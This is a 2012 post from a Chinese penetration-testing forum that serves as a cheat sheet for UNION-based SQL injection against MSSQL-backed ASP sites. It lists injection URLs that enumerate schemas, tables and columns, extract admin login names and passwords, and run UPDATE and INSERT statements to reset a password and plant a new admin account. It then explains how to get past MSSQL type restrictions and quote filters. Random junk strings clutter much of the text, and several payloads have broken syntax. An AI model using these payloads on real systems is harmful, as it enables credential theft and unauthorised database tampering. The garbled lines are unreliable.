中国网络渗透测试联盟

标题: MSSQL用union查询爆数据 [打印本页]

作者: admin    时间: 2012-9-15 14:26
标题: MSSQL用union查询爆数据
爆库:
# A0 R1 v* C7 w! ~9 Vhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
2 j2 u' g2 |' T! t; U( vSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
5 |# ^3 i4 d9 [4 W* M  h5 t) ^爆下一个库:4 D% j* L* t6 i
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
% S7 E. y; W; m3 V* c+ \  q1 ?' A
爆表:
" t; r3 @& R. \" l- @! M+ rhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--1 e4 U" k1 S: a4 D

1 a0 M7 Y/ Y: Z4 ?+ T( W: R% ?SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
3 [3 _  V: E( \( C+ r1 `( V3 @0 v9 M) f, k% S
爆下一个表
$ @# P) I9 \) Y5 j( ~9 Nhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--2 r* m9 b, Z) W7 e

* `; U2 h7 i/ M: w' j: whttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--1 X8 n( i: g" I& X! q

) |$ [8 I4 ?5 Y) z# f' M
* `3 K8 i7 F2 J  Q2 r0 t7 G7 U$ P
爆字段:
! Y" _: A2 H7 g5 [http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--6 k5 S* |. a! [* R4 c

4 k8 p0 k) ~: f  ~) B* i爆下一个字段
5 w0 P9 O) y+ R  n* Bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--" \7 q' K, @7 {
# ~, k% C2 J" e
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--( B5 K. d( H0 ~) f) S
- X: h: n: F* p9 L4 S

* C4 U0 x: G0 g) ~1 o5 l& j爆字段里的内容6 w7 Z7 j5 X$ W! y
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--% T- `! r: Q1 K) j( \
6 {1 b. U6 D3 k  c% T4 z% I+ g( ~5 ^
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
: W) B. L0 J) n; r9 ~# }1 ~
# @' Q+ Z1 h" r# m" vhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
: }- S1 }, z+ ]0 ?6 p( A: g) I% m$ d; M5 ^
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--) L  B/ x$ A( B7 Z/ W2 z

, ^& I+ `0 K3 v* U; p" t' }* d4 ~更新字段里的内容( B6 q4 x9 c7 f- j1 \+ F
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--4 K: j0 y" l( n& I
; S! |: a( b" B
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--( E* W$ x" W( V% @* G! E* d

3 f4 h5 ]9 ~% {1 c- v8 n+ [/ m3 y2 ~
! o6 J) a5 O  o7 A! `
+ J7 Y: C* n# v; v0 j        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。/ i. V- x0 V2 C
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。: S1 r* ^3 u; v: W& D2 ^, a
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
6 K0 M; F6 N1 Y% y5 j) D8 d+ q    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
7 Y1 S* ?! T/ U( }" t4 B1 Q. y: _# ?4 f: x/ m. l3 g% W) X. W4 B3 R
突了了大部份限制的语句
3 \- M( l2 O: m6 v# l4 Pand 1=2 union all select char(49),char(50),null,null;--1 U- Y: v6 ~' L. }9 k* ~9 H
1 l7 [" p5 }6 b& {5 A+ [
0 u; m7 R' P( \7 y
null也可以正常执行,不过没有回显,不好判断回显的列数。
. V9 n+ M+ P, n  v- Y$ m一般union遇到问题都是有text或者ntext字段,image的很少遇到
3 d. a  `7 d: }( v+ K* p- k' U& U
% c. p1 e# ]. u可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
7 f) ?3 Y1 M: e4 P7 U6 T, e* V2 \8 ~0 y# Y! A# P

) Z. I4 ~, q" l/ A3 i8 M( Q" W' m5 t




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2